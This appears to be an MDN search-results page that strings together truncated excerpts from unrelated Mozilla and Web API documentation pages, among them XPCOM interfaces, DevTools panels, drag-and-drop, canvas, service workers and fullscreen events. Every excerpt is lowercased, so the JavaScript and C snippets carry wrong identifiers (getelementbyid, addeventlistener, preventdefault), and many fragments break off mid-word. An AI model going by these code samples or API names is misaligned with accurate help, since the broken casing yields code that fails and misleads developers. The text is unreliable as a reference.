nsiaccessible getaccessible(in nsidomnode anode, in nsipresshell apresshell, in nsiweakreference aweakshell, inout nsiframe framehint, out boolean aishidden); nsiaccessible addnativerootaccessible(in voidptr aatkaccessible); void removenativerootaccessible(in nsiaccessible arootaccessible); void invalidatesubtreefor(in nsipresshell apresshell, in nsicontent achangedcontent, in pruint32 aevent); methods removenativerootaccessible() void removenativerootaccessible( in nsiaccessible arootaccessible ); invalidatesubtreefor() invalidate the accessibility cache associated with apresshell, for accessibles that were generated for acontainercontent and it's subtree.
... void invalidatesubtreefor( in nsipresshell apresshell, in nsicontent achangedcontent, in pruint32 aevent ); parameters <tt>apresshell</tt> the presshell where changes occured.
... <tt>aevent</tt> the event from nsiaccessibleevent that caused the change.
... must be one of: event_reorder (change) event_show (make visible or create) or event_hide (destroy or hide) ...
nsIAccessibleRetrieval
nsiaccessible getattachedaccessiblefor(in nsidomnode anode); nsiaccessible getcachedaccessible(in nsidomnode anode, in nsiweakreference ashell); obsolete since gecko 2.0 nsiaccessnode getcachedaccessnode(in nsidomnode anode, in nsiweakreference ashell); obsolete since gecko 2.0 nsidomnode getrelevantcontentnodefor(in nsidomnode anode); astring getstringeventtype(in unsigned long aeventtype); astring getstringrelationtype(in unsigned long arelationtype); astring getstringrole(in unsigned long arole); nsidomdomstringlist getstringstates(in unsigned long astates, in unsigned long aextrastates); methods getaccessiblefor() return an nsiaccessible for a dom node in pres shell 0.
...getstringeventtype() get the type of accessible event as a string.
... astring getstringeventtype( in unsigned long aeventtype ); parameters aeventtype the accessible event type constant.
... return value accessible event type presented as human readable string.
nsIAutoCompleteInput
consumerollupevent boolean if true, the event that rolls up the popup should be consumed by the popup itself.
... if false, the rollup event will be dispatched.
...return value return true to prevent handling the selection.
...return value return true to prevent the reversion.
nsIChannel
interfaces commonly requested include: nsiprogresseventsink, nsiprompt, and nsiauthprompt / nsiauthprompt2.
... if the channel's and loadgroup's notification callbacks do not provide an nsichanneleventsink when onchannelredirect would be called, that's equivalent to having called onchannelredirect.
...moreover, since this method may block the calling thread, it should not be called on a thread that processes ui events.
... see also nsichanneleventsink for onchannelredirect ...
nsIController
content/xul/document/public/nsicontroller.idlscriptable an interface that can be implemented to receive and process commands and events.
... inherits from: nsisupports last changed in gecko 1.7 method overview void docommand(in string command); boolean iscommandenabled(in string command); void onevent(in string eventname); boolean supportscommand(in string command); methods docommand() when this method is called, your implementation should execute the command with the specified name.
...onevent() implement this method to process the event with the specified name.
... void onevent( in string eventname ); parameters eventname the name of the event to process.
nsIDragDropHandler
use this to register where the listeners should attach (something that implements nspidomeventtarget which is what we end up using under the hood).
... last changed in gecko 1.8 (firefox 1.5 / thunderbird 1.5 / seamonkey 1.0) inherits from: nsisupports method overview void detach(); void hookupto(in nsidomeventtarget attachpoint, in nsiwebnavigation navigator); methods detach() unregisters all handlers related to drag and drop.
...void hookupto( in nsidomeventtarget attachpoint, in nsiwebnavigation navigator ); parameters attachpoint the receiver to which to attach drag handlers.
...if this is null, the client must handle the drop itself, either through the method provided via overridedrop() or by letting the event bubble up through the dom.
nsIFocusManager
obsolete since gecko 2.0 void firedelayedevents(in nsidocument adocument); native code only!
...void contentremoved( in nsidocument adocument, in nsicontent aelement ); parameters adocument aelement native code only!firedelayedevents fire any events that have been delayed due to synchronized actions.
... void firedelayedevents( in nsidocument adocument ); parameters adocument native code only!focusplugin indicate that a plugin wishes to take the focus.
...void windowshown( in nsidomwindow awindow, in prbool aneedsfocus ); parameters awindow aneedsfocus if true, then focus events are expected to be fired on the window if this window is in the focused window chain.
nsIScriptError
you may pass null if you are lazy; that will prevent showing the source line in javascript console.
...you may pass null if you are lazy; that will prevent showing the source line in javascript console.
...you may pass null if you are lazy; that will prevent showing the source line in javascript console.
... categories the web console does not display "xpconnect javascript" "component javascript" "chrome javascript" "chrome registration" "xbl" "xbl prototype handler" "xbl content sink" "xbl javascript" "frameconstructor" categories the web console displays "hudconsole" "css parser" "css loader" "content javascript" "dom events" "dom:html" "dom window" "svg" "imagemap" "html" "canvas" "dom3 load" "dom" "malformed-xml" "dom worker javascript" "mixed content blocker" "csp" "invalid hsts headers" "insecure password field" see also using the web console error console nsiconsolemessage nsiscripterror2 ...
nsISocketTransportService
nsisockettransport createtransport(in array<acstring> asockettypes, in autf8string ahost, in long aport, in nsiproxyinfo aproxyinfo); void init(); obsolete since gecko 1.8 void notifywhencanattachsocket(in nsirunnable aevent); native code only!
... note: this function may only be called from an event dispatch on the socket thread.
... note: this function may only be called from an event dispatch on the socket thread.
... void notifywhencanattachsocket( in nsirunnable aevent ); parameters aevent event that will receive the notification when a new socket can be attached.
nsIWebBrowserChrome
inherits from: nsisupports last changed in gecko 0.9.6 method overview void destroybrowserwindow(); void exitmodaleventloop(in nsresult astatus); boolean iswindowmodal(); void setstatus(in unsigned long statustype, in wstring status); void showasmodal(); void sizebrowserto(in long acx, in long acy); attributes attribute type description chromeflags unsigned long the chrome flags for this browser chrome.
...exitmodaleventloop() exit a modal event loop if we're in one.
...void exitmodaleventloop( in nsresult astatus ); parameters astatus the result code to return from showasmodal().
...return value note: the function error code returned by this corresponds to the status value specified in exitmodaleventloop.
nsPIPromptService
you should use esoundeventid instead.
...esoundeventid the value is 7.
... this is the sound event id which should be played when the dialog is shown.
... see also nsisound.playeventsound().
Getting Started Guide
nscomptr is a tool to help prevent leaks.
...do_queryinterface prevents xpcom type errors.
... prevent it in advance // by not returning pointers as function results, or else by returning // an |already_addrefed<t>| as above.
... void f( nscomptr<t>* ) avoid passing an nscomptr by address, if possible this practice requires callers to have an nscomptr, and requires them to do a little extra work, as operator& for nscomptrs is private (to help prevent leaks caused by casting; also see bug 59414).
Adding items to the Folder Pane
listening for folder pane rebuilds every time the folder pane rebuilds, it fires a "maprebuild" event, which is the ideal opportunity for extensions to step in and modify the display data.
... the following code snippet listens for that event: let gnumbersext = { load: function gne_load() { window.removeeventlistener("load", gnumbersext.load, false); let tree = document.getelementbyid("foldertree"); tree.addeventlistener("maprebuild", gnumbersext._insert, false); }, _insert: function gne__insert() { // this function is called when a rebuild occurs } }; window.addeventlistener("load", gnumbersext.load, true); the structure of folder-tree-items the folder pane stores its current display data in a property called _rowmap.
...unfortunately, this rebuild will occur before an extension's "load" event fires.
... thus, extensions may need to do manual insertions when this load event fires, if they want to add items to the initial display.
Using COM from js-ctypes
}; struct myispvoicevtbl { /* start inherit from iunknown */ void* queryinterface; void* addref; ulong (__stdcall *release)(struct myispvoice*); /* end inherit from iunknown */ /* start inherit from ispnotifysource */ void* setnotifysink; void* setnotifywindowmessage; void* setnotifycallbackfunction; void* setnotifycallbackinterface; void* setnotifywin32event; void* waitfornotifyevent; void* getnotifyeventhandle; /* end inherit from ispnotifysource */ /* start inherit from ispeventsource */ void* setinterest; void* getevents; void* getinfo; /* end inherit from ispeventsource */ /* start ispvoice */ void* setoutput; void* getoutputobjecttoken; void* getoutputstream; void* pause; void* resume; ...
... ulong* pulstreamnumber); void* speakstream; void* getstatus; void* skip; void* setpriority; void* getpriority; void* setalertboundary; void* getalertboundary; void* setrate; void* getrate; void* setvolume; void* getvolume; void* waituntildone; void* setsyncspeaktimeout; void* getsyncspeaktimeout; void* speakcompleteevent; void* isuisupported; void* displayui; /* end ispvoice */ }; int main(void) { if (succeeded(coinitialize(null))) { struct myispvoice* pvoice = null; hresult hr = cocreateinstance(&clsid_spvoice, null, clsctx_all, &iid_ispvoice, (void**)&pvoice); if (succeeded(hr)) { pvoice->lpvtbl->speak(pvoice,...
... ispvoice.ptr ]).ptr }, // end inherit from iunknown // start inherit from ispnotifysource // can set to ctypes.voidptr_t if arent going to use it { 'setnotifysink': ctypes.voidptr_t }, { 'setnotifywindowmessage': ctypes.voidptr_t }, { 'setnotifycallbackfunction': ctypes.voidptr_t }, { 'setnotifycallbackinterface': ctypes.voidptr_t }, { 'setnotifywin32event': ctypes.voidptr_t }, { 'waitfornotifyevent': ctypes.voidptr_t }, { 'getnotifyeventhandle': ctypes.voidptr_t }, // end inherit from ispnotifysource // start inherit from ispeventsource { 'setinterest': ctypes.voidptr_t }, { 'getevents': ctypes.voidptr_t }, { 'getinfo': ctypes.voidptr_t }, // end inherit from ispeventsource // start ispvoice { 'setoutput': c...
... 'setalertboundary': ctypes.voidptr_t }, { 'getalertboundary': ctypes.voidptr_t }, { 'setrate': ctypes.voidptr_t }, { 'getrate': ctypes.voidptr_t }, { 'setvolume': ctypes.voidptr_t }, { 'getvolume': ctypes.voidptr_t }, { 'waituntildone': ctypes.voidptr_t }, { 'setsyncspeaktimeout': ctypes.voidptr_t }, { 'getsyncspeaktimeout': ctypes.voidptr_t }, { 'speakcompleteevent': ctypes.voidptr_t }, { 'isuisupported': ctypes.voidptr_t }, { 'displayui': ctypes.voidptr_t } // end ispvoice ]); // functions // http://msdn.microsoft.com/en-us/library/windows/desktop/ms695279%28v=vs.85%29.aspx let coinitializeex = lib.declare('coinitializeex', winabi, hresult, // result lpvoid, // pvreserved dword // dwcoinit ); // http://msdn.microsoft.
Gecko Plugin API Reference - Plugins
lding plug-ins building, platforms, and compilers building carbonized plug-ins for mac os x type libraries installing plug-ins native installers xpi plug-ins installations plug-in installation and the windows registry initialization and destruction initialization instance creation instance destruction shutdown initialize and shutdown example drawing and event handling the npwindow structure drawing plug-ins printing the plug-in setting the window getting information windowed plug-ins mac os windows unix event handling for windowed plug-ins windowless plug-ins specifying that a plug-in is windowless invalidating the drawing area forcing a paint message making a plug-in opaque making a plug-in...
... transparent creating pop-up menus and dialog boxes event handling for windowless plug-ins streams receiving a stream telling the plug-in when a stream is created telling the plug-in when a stream is deleted finding out how much data the plug-in can accept writing the stream to the plug-in sending the stream in random-access mode sending the stream in file mode sending a stream creating a stream pushing data into the stream deleting the stream example of sending a stream urls getting urls getting the url and displaying the page posting urls posting data to an http server uploading files to an ftp server sending mail memory allocating and freeing memory mac os flushing memory (mac os only) version, ui, and status i...
... npp_destroy npp_destroystream npp_getvalue np_getvalue npp_handleevent np_initialize npp_new npp_newstream npp_print npp_setvalue npp_setwindow np_shutdown npp_streamasfile npp_urlnotify npp_write npp_writeready browser side plug-in api this chapter describes methods in the plug-in api that are available from the browser.
...ier npn_intfromidentifier npobject npn_createobject npn_retainobject npn_releaseobject npn_invoke npn_invokedefault npn_evaluate npn_getproperty npn_setproperty npn_removeproperty npn_hasproperty npn_hasmethod npn_setexception npclass structures npanycallbackstruct npbyterange npembedprint npevent npfullprint npp np_port npprint npprintcallbackstruct nprect npregion npsaveddata npsetwindowcallbackstruct npstream npwindow constants error codes result codes plug-in version constants version feature constants external resources external projects and articles for plugin creation original document information copyright information: netscape communication ...
Debugger.Object - Firefox Developer Tools
seal() prevent properties from being added to or deleted from the referent.
...(this function behaves like the standard object.seal function, except that the object to be sealed is implicit and in a different compartment from the caller.) freeze() prevent properties from being added to or deleted from the referent, and mark each property as non-writable.
...(this function behaves like the standard object.freeze function, except that the object to be sealed is implicit and in a different compartment from the caller.) preventextensions() prevent properties from being added to the referent.
... (this function behaves like the standard object.preventextensions function, except that the object to operate on is implicit and in a different compartment from the caller.) issealed() return true if the referent is sealed—that is, if it is not extensible, and all its properties have been marked as non-configurable.
Migrating from Firebug - Firefox Developer Tools
inspect events events assigned to an element are displayed in the events side panel in firebug.
...both tools allow to display wrapped event listeners (e.g.
...to improve the ui of the devtools, there is also a request to add an events side panel to them like the one in firebug (see bug 1226640).
...scripts executed via event handlers, eval(), new function(), etc.).
Allocations - Firefox Developer Tools
while gc events like this are executing, the javascript engine must be paused, so your program is suspended and will be completely unresponsive.
... gc events are shown as red markers in the waterfall view, and are a big red flag for responsiveness, sometimes running for hundreds of milliseconds: if you're seeing gc events in your site's performance profile, what can you do?
... if a gc event was caused by allocation pressure, then the sidebar on the right of the marker in the waterfall view contains a link labeled "show allocation triggers".
...this shows you all the allocations that collectively triggered this gc event: if you're seeing these problems, consider whether you can reduce the number or size of the allocations you're making here.
Responsive Design Mode - Firefox Developer Tools
dpr (pixel ratio) - beginning with firefox 68, the dpr is no longer editable; create a custom device in order to change the dpr throttling - a drop-down list where you can select the connection throttling to apply, for example 2g, 3g, or lte enable/disable touch simulation - toggles whether or not responsive design mode simulates touch events.
... while touch event simulation is enabled, mouse events are translated into touch events; this includes (starting in firefox 79) translating a mouse-drag event into a touch-drag event.
...for example, many pages check for touch support on load and only add event handlers if it is supported, or only enable certain features on certain browsers.
...select a device, and responsive design mode sets the following properties to match the selected device: screen size device pixel ratio (the ratio of device physical pixels to device-independent pixels) touch event simulation additionally, firefox sets the user-agent http request header to identify itself as the default browser on the selected device.
about:debugging (before Firefox 68) - Firefox Developer Tools
it's installed and activated, and is currently handling events.
... sending push events to service workers sending push events in about:debugging is new in firefox 47.
... to debug push notifications, you can set a breakpoint in the push event listener.
...just click the "push" button to send a push event to the service worker: service workers not compatible in firefox 49+, a warning message will be displayed in the service workers section of the workers page if service workers are incompatible with the current browser configuration, and therefore cannot be used or debugged.
Animation - Web APIs
WebAPIAnimation
event handlers animation.oncancel gets and sets the event handler for the cancel event.
... animation.onfinish gets and sets the event handler for the finish event.
... animation.onremove allows you to set and run an event handler that fires when the animation is removed (i.e., put into an active replace state).
... animation.onremove for setting and running an event handler that fires when the animation is removed (i.e., put into an active replace state).
AudioParam - Web APIs
each audioparam has a list of events, initially empty, that define when and how values change.
...this list of events allows us to schedule changes that have to happen at very precise times, using arbitrary timelime-based automation curves.
...the change starts at the time specified for the previous event, follows a linear ramp to the new value given in the value parameter, and reaches the new value at the time given in the endtime parameter.
...the change starts at the time specified for the previous event, follows an exponential ramp to the new value given in the value parameter, and reaches the new value at the time given in the endtime parameter.
CSSPseudoElement - Web APIs
the csspseudoelement interface represents a pseudo-element that may be the target of an event or animated using the web animations api.
... methods csspseudoelement extends eventtarget, so it inherits the following methods: eventtarget.addeventlistener() registers an event handler of a specific event type on the pseudo-element.
... eventtarget.dispatchevent() dispatches an event to this pseudo-element.
... eventtarget.removeeventlistener() removes an event listener from the pseudo-element.
CacheStorage.match() - Web APIs
ignoremethod: a boolean that, when set to true, prevents matching operations from validating the request http method (normally only get and head are allowed.) it defaults to false.
...here we wait for a fetchevent to fire.
... self.addeventlistener('fetch', function(event) { event.respondwith(caches.match(event.request).then(function(response) { // caches.match() always resolves // but in case of success response will have value if (response !== undefined) { return response; } else { return fetch(event.request).then(function (response) { // response may be used only once // we need to sa...
...ve clone to put one copy in cache // and serve second one let responseclone = response.clone(); caches.open('v1').then(function (cache) { cache.put(event.request, responseclone); }); return response; }).catch(function () { return caches.match('/sw-test/gallery/mylittlevader.jpg'); }); } })); }); specifications specification status comment service workersthe definition of 'cachestorage: match' in that specification.
Manipulating video using canvas - Web APIs
this method's job is to prepare the variables needed by the chroma-key processing code, and to set up an event listener so we can detect when the user starts playing the video.
... var processor; processor.doload = function doload() { this.video = document.getelementbyid('video'); this.c1 = document.getelementbyid('c1'); this.ctx1 = this.c1.getcontext('2d'); this.c2 = document.getelementbyid('c2'); this.ctx2 = this.c2.getcontext('2d'); let self = this; this.video.addeventlistener('play', function() { self.width = self.video.videowidth / 2; self.height = self.video.videoheight / 2; self.timercallback(); }, false); }, this code grabs references to the elements in the xhtml document that are of particular interest, namely the video element and the two canvas elements.
... then addeventlistener() is called to begin watching the video element so that we obtain notification when the user presses the play button on the video.
... the timer callback the timer callback is called initially when the video starts playing (when the "play" event occurs), then takes responsibility for establishing itself to be called periodically in order to launch the keying effect for each frame.
Pixel manipulation with canvas - Web APIs
eft"></canvas> <div id="color" style="width:200px;height:50px;float:left"></div> var img = new image(); img.src = 'https://mdn.mozillademos.org/files/5397/rhino.jpg'; var canvas = document.getelementbyid('canvas'); var ctx = canvas.getcontext('2d'); img.onload = function() { ctx.drawimage(img, 0, 0); img.style.display = 'none'; }; var color = document.getelementbyid('color'); function pick(event) { var x = event.layerx; var y = event.layery; var pixel = ctx.getimagedata(x, y, 1, 1); var data = pixel.data; var rgba = 'rgba(' + data[0] + ', ' + data[1] + ', ' + data[2] + ', ' + (data[3] / 255) + ')'; color.style.background = rgba; color.textcontent = rgba; } canvas.addeventlistener('mousemove', pick); painting pixel data into a context you can use the putim...
... ctx.putimagedata(imagedata, 0, 0); }; var grayscale = function() { for (var i = 0; i < data.length; i += 4) { var avg = (data[i] + data[i + 1] + data[i + 2]) / 3; data[i] = avg; // red data[i + 1] = avg; // green data[i + 2] = avg; // blue } ctx.putimagedata(imagedata, 0, 0); }; var invertbtn = document.getelementbyid('invertbtn'); invertbtn.addeventlistener('click', invert); var grayscalebtn = document.getelementbyid('grayscalebtn'); grayscalebtn.addeventlistener('click', grayscale); } zooming and anti-aliasing with the help of the drawimage() method, a second canvas and the imagesmoothingenabled property, we are able to zoom into our picture and see the details.
...ademos.org/files/5397/rhino.jpg'; img.onload = function() { draw(this); }; function draw(img) { var canvas = document.getelementbyid('canvas'); var ctx = canvas.getcontext('2d'); ctx.drawimage(img, 0, 0); img.style.display = 'none'; var zoomctx = document.getelementbyid('zoom').getcontext('2d'); var smoothbtn = document.getelementbyid('smoothbtn'); var togglesmoothing = function(event) { zoomctx.imagesmoothingenabled = this.checked; zoomctx.mozimagesmoothingenabled = this.checked; zoomctx.webkitimagesmoothingenabled = this.checked; zoomctx.msimagesmoothingenabled = this.checked; }; smoothbtn.addeventlistener('change', togglesmoothing); var zoom = function(event) { var x = event.layerx; var y = event.layery; zoomctx.drawimage(canvas, ...
... math.min(math.max(0, x - 5), img.width - 10), math.min(math.max(0, y - 5), img.height - 10), 10, 10, 0, 0, 200, 200); }; canvas.addeventlistener('mousemove', zoom); } saving images the htmlcanvaselement provides a todataurl() method, which is useful when saving images.
Using channel messaging - Web APIs
var input = document.getelementbyid('message-input'); var output = document.getelementbyid('message-output'); var button = document.queryselector('button'); var iframe = document.queryselector('iframe'); var channel = new messagechannel(); var port1 = channel.port1; // wait for the iframe to load iframe.addeventlistener("load", onload); function onload() { // listen for button clicks button.addeventlistener('click', onclick); // listen for messages on port1 port1.onmessage = onmessage; // transfer port2 to the iframe iframe.contentwindow.postmessage('init', '*', [channel.port2]); } // post a message on port1 when the button is clicked function onclick(e) { e.preventdefault(); port1.po...
... when our button is clicked, we prevent the form from submitting as normal and then send the value entered in our text input to the iframe via the messagechannel.
... receiving the port and message in the iframe over in the iframe, we have the following javascript: var list = document.queryselector('ul'); var port2; // listen for the initial port transfer message window.addeventlistener('message', initport); // setup the transferred port function initport(e) { port2 = e.ports[0]; port2.onmessage = onmessage; } // handle messages received on port2 function onmessage(e) { var listitem = document.createelement('li'); listitem.textcontent = e.data; list.appendchild(listitem); port2.postmessage('message received by iframe: "' + e.data + '"'); } when the initial message is received from the main page via the window.postmessage method, we run the initport function.
... when a message is received from the main page we create a list item and insert it in the unordered list, setting the textcontent of the list item equal to the event's data attribute (this contains the actual message).
Content Index API - Web APIs
contentindexevent the contentindexevent interface of the content index api defines the object used to represent the contentdelete event.
... serviceworkerglobalscope.oncontentdelete an event handler fired whenever a contentdelete event occurs.
...they are accessible from the workerglobalscope.self property: // service worker script self.registration.index.add(item); self.registration.index.delete(item.id); const contentindexitems = self.registration.index.getall(); contentdelete event when an item is removed from the user agent interface, a contentdelete event is received by the service worker.
... self.addeventlistener('contentdelete', (event) => { console.log(event.id); // logs content index id, which can then be used to determine what content to delete from your cache }); the contentdelete event is only fired when the deletion happens due to interaction with the browser's built-in user interface.
DataTransfer.setDragImage() - Web APIs
when a drag occurs, a translucent image is generated from the drag target (the element the dragstart event is fired at), and follows the mouse pointer during the drag.
... this method must be called in the dragstart event handler.
...use the event target's id for the data ev.datatransfer.setdata("text/plain", ev.target.id); // create an image and use it for the drag image // note: change "example.gif" to an existing image or the image will not // be created and the default drag image will be used.
... var img = new image(); img.src = 'example.gif'; ev.datatransfer.setdragimage(img, 10, 10); } function dragover_handler(ev) { console.log("dragover"); ev.preventdefault(); } function drop_handler(ev) { console.log("drop"); ev.preventdefault(); // get the data, which is the id of the drop target var data = ev.datatransfer.getdata("text"); ev.target.appendchild(document.getelementbyid(data)); } </script> <body> <h1>example of <code>datatransfer.setdragimage()</code></h1> <div> <p id="source" ondragstart="dragstart_handler(event);" draggable="true"> select this element, drag it to the drop zone and then release the selection to move the element.</p> </div> <div id="target" ondrop="drop_handler(event);" ondragover="dragover_handler(event);">drop zone</div> </body> </html> s...
DataTransfer.types - Web APIs
the datatransfer.types read-only property returns an array of the drag data formats (as strings) that were set in the dragstart event.
...tyle> <script> function dragstart_handler(ev) { console.log("dragstart: target.id = " + ev.target.id); // add this element's id to the drag payload so the drop handler will // know which element to add to its tree ev.datatransfer.setdata("text/plain", ev.target.id); ev.datatransfer.effectallowed = "move"; } function drop_handler(ev) { console.log("drop: target.id = " + ev.target.id); ev.preventdefault(); // get the id of the target and add the moved element to the target's dom var data = ev.datatransfer.getdata("text"); ev.target.appendchild(document.getelementbyid(data)); // print each format type if (ev.datatransfer.types != null) { for (var i=0; i < ev.datatransfer.types.length; i++) { console.log("...
...items[" + i + "].kind = " + ev.datatransfer.items[i].kind + " ; type = " + ev.datatransfer.items[i].type); } } } function dragover_handler(ev) { console.log("dragover"); ev.preventdefault(); // set the dropeffect to move ev.datatransfer.dropeffect = "move" } </script> <body> <h1>examples of <code>datatransfer</code>.{<code>types</code>, <code>items</code>} properties</h1> <ul> <li id="i1" ondragstart="dragstart_handler(event);" draggable="true">drag item 1 to the drop zone</li> <li id="i2" ondragstart="dragstart_handler(event);" draggable="true">drag item 2 to the d...
...rop zone</li> </ul> <div id="target" ondrop="drop_handler(event);" ondragover="dragover_handler(event);">drop zone</div> </body> </html> specifications specification status comment html living standardthe definition of 'types' in that specification.
DataTransferItem.webkitGetAsEntry() - Web APIs
example in this example, a drop zone is created, which responds to the drop event by scanning through the dropped files and directories, outputting a hierarchical directory listing.
... then come the event handlers.
... first, we prevent the dragover event from being handled by the default handler, so that our drop zone can receive the drop: dropzone.addeventlistener("dragover", function(event) { event.preventdefault(); }, false); the event handler that kicks everything off, of course, is the handler for the drop event: dropzone.addeventlistener("drop", function(event) { let items = event.datatransfer.items; event.preventdefault(); listing.innerhtml = ""; for (let i=0; i<items.length; i++) { let item = items[i].webkitgetasentry(); if (item) { scanfiles(item, listing); } } }, false); this fetches the list of datatransferitem objects representing the items dropped from event.datatransfer.items.
... then we call event.preventdefault() to prevent the event from being handled further after we're done.
DataTransferItemList.clear() - Web APIs
the drag data store in which this list is kept is only writable while handling the dragstart event.
... html <div> <p id="source" ondragstart="dragstart_handler(event);" ondragend="dragend_handler(event);" draggable="true"> select this element, drag it to the drop zone and then release the selection to move the element.</p> </div> <div id="target" ondrop="drop_handler(event);" ondragover="dragover_handler(event);">drop zone</div> css div { margin: 0em; padding: 2em; } #source { color: blue; border: 1px solid black; } #target { border: 1px solid black; } javascript function dragstart...
...paragraph ...</p>", "text/html"); datalist.add("http://www.example.org","text/uri-list"); } function drop_handler(ev) { console.log("drop"); ev.preventdefault(); var data = event.datatransfer.items; // loop through the dropped items and log their data for (var i = 0; i < data.length; i++) { if ((data[i].kind == 'string') && (data[i].type.match('^text/plain'))) { // this item is the target node data[i].getasstring(function (s){ ev.target.appendchild(document.getelementbyid(s)); }); } else if ((data[i].kind ...
...drop: uri = " + s); }); } } } function dragover_handler(ev) { console.log("dragover"); ev.preventdefault(); // set the dropeffect to move ev.datatransfer.dropeffect = "move" } function dragend_handler(ev) { console.log("dragend"); var datalist = ev.datatransfer.items; for (var i = 0; i < datalist.length; i++) { datalist.remove(i); } // clear any remaining drag data datalist.clear(); } result result link specifications specification status comment ...
Document.onfullscreenerror - Web APIs
the document.onfullscreenerror property is an event handler for the fullscreenerror event that is sent to the document when it fails to transition into full-screen mode after a prior call to element.requestfullscreen().
... syntax targetdocument.onfullscreenerror = fullscreenerrorhandler; value an event handler for the fullscreenerror event.
... example this example attempts to call requestfullscreen() outside of an event handler.
... document.onfullscreenerror = function ( event ) { displaywarning("unable to switch into full-screen mode."); }; //....
Document.readyState - Web APIs
when the value of this property changes, a readystatechange event fires on the document object.
...the state indicates that the load event is about to fire.
... console.log("the first css rule is: " + document.stylesheets[0].cssrules[0].csstext); break; } readystatechange as an alternative to domcontentloaded event // alternative to domcontentloaded event document.onreadystatechange = function () { if (document.readystate === 'interactive') { initapplication(); } } readystatechange as an alternative to load event // alternative to load event document.onreadystatechange = function () { if (document.readystate === 'complete') { initapplication(); } } readystatechange as event listener to ...
...insert or modify the dom before domcontentloaded document.addeventlistener('readystatechange', event => { if (event.target.readystate === 'interactive') { initloader(); } else if (event.target.readystate === 'complete') { initapp(); } }); specifications specification status comment html living standardthe definition of 'document readiness' in that specification.
Document Object Model (DOM) - Web APIs
nodes can also have event handlers attached to them.
... once an event is triggered, the event handlers get executed.
... dom interfaces attr cdatasection characterdata childnode comment customevent document documentfragment documenttype domerror domexception domimplementation domstring domtimestamp domstringlist domtokenlist element event eventtarget htmlcollection mutationobserver mutationrecord namednodemap node nodefilter nodeiterator nodelist nondocumenttypechildnode parentnode processinginstruction selection range text textdecoder textencoder timeranges treewalker url window worker xmldocument obsolete dom interfaces the document object model has been highly simplified.
...form svgtransformlist animated type svganimatedangle svganimatedboolean svganimatedenumeration svganimatedinteger svganimatedlength svganimatedlengthlist svganimatednumber svganimatednumberlist svganimatedpathdata svganimatedpoints svganimatedpreserveaspectratio svganimatedrect svganimatedstring svganimatedtransformlist smil-related interfaces elementtimecontrol timeevent other svg interfaces getsvgdocument shadowanimation svgcolorprofilerule svgcssrule svgdocument svgexception svgexternalresourcesrequired svgfittoviewbox svglangspace svglocatable svgrenderingintent svgstylable svgtests svgtransformable svgunittypes svguseelementshadowroot svgurireference svgviewspec svgzoomandpan svgzoomevent specifications ...
Element.onfullscreenerror - Web APIs
the element interface's onfullscreenerror property is an event handler for the fullscreenerror event which is sent to the element when an error occurs while attempting to transition into or out of full-screen mode.
... syntax targetelement.onfullscreenerror = fullscreenerrorhandler; value an error handler for the fullscreenerror event.
... example this example attempts to switch into full-screen mode from outside a handler for a user-initiated event (such as a click or keypress event).
... since full-screen mode changes are only permitted in response to a user input, this causes an error to occur, which triggers the delivery of the fullscreenerror event to the error handler, let elem = document.queryselector("video")}} elem.onfullscreenerror = function ( event ) { displaywarning("unable to switch into full-screen mode."); }; //....
Element.releasePointerCapture() - Web APIs
the releasepointercapture() method of the element interface releases (stops) pointer capture that was previously set for a specific (pointerevent) pointer.
... syntax targetelement.releasepointercapture(pointerid); parameters pointerid the pointerid of a pointerevent object.
...function stopsliding(e) { slider.onpointermove = null; slider.releasepointercapture(e.pointerid); } function slide(e) { slider.style.transform = `translate(${e.clientx - 70}px)`; } const slider = document.getelementbyid('slider'); slider.onpointerdown = beginsliding; slider.onpointerup = stopsliding; result specifications specification status comment pointer events – level 2the definition of 'releasepointercapture' in that specification.
... pointer eventsthe definition of 'releasepointercapture' in that specification.
FileSystemDirectoryReader.readEntries() - Web APIs
example in this example, a drop zone is created, which responds to the drop event by scanning through the dropped files and directories, outputting a hierarchical directory listing.
... then come the event handlers.
... first, we prevent the dragover event from being handled by the default handler, so that our drop zone can receive the drop: dropzone.addeventlistener("dragover", function(event) { event.preventdefault(); }, false); the event handler that kicks everything off, of course, is the handler for the drop event: dropzone.addeventlistener("drop", function(event) { let items = event.datatransfer.items; event.preventdefault(); listing.innerhtml = ""; for (let i=0; i<items.length; i++) { let item = items[i].webkitgetasentry(); if (item) { scanfiles(item, listing); } } }, false); this fetches the list of datatransferitem objects representing the items dropped from event.datatransfer.items.
... then we call event.preventdefault() to prevent the event from being handled further after we're done.
Introduction to the File and Directory Entries API - Web APIs
browsers impose storage quotas to prevent a web app from using up the entire disk, browsers might impose a quota for each app and allocate storage among web apps.
... the security boundary imposed on file system prevents applications from accessing data with a different origin.
... this protects private data by preventing access and deletion.
... the file and directory entries api does not let you create and rename executable files to prevent malicious apps from running hostile executables, you cannot create executable files within the sandbox of the file and directory entries api.
Gamepad API - Web APIs
it contains three interfaces, two events and one specialist function, to respond to gamepads being connected and disconnected, and to access other information about the gamepads themselves, and what buttons and other controls are currently being pressed.
... gamepadevent the event object representing events fired that are related to gamepads.
... window events window.ongamepadconnected represents an event handler that will run when a gamepad is connected (when the gamepadconnected event fires).
... window.ongamepaddisconnected represents an event handler that will run when a gamepad is disconnected (when the gamepaddisconnected event fires).
HTMLAudioElement - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 20%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 120" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151...
...4"/><a xlink:href="/docs/web/api/htmlaudioelement" target="_top"><rect x="131" y="65" width="160" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="211" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">htmlaudioelement</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} constructor audio() creates and returns a new htmlaudioelement object, optionally starting the process of loading an audio file into it if the file url is given.
...this snippet copies the audio file's duration to a variable: var audioelement = new audio('car_horn.wav'); audioelement.addeventlistener('loadeddata', () => { let duration = audioelement.duration; // the duration variable now holds the duration (in seconds) of the audio clip }) events inherits methods from its parent, htmlmediaelement, and from its ancestor htmlelement.
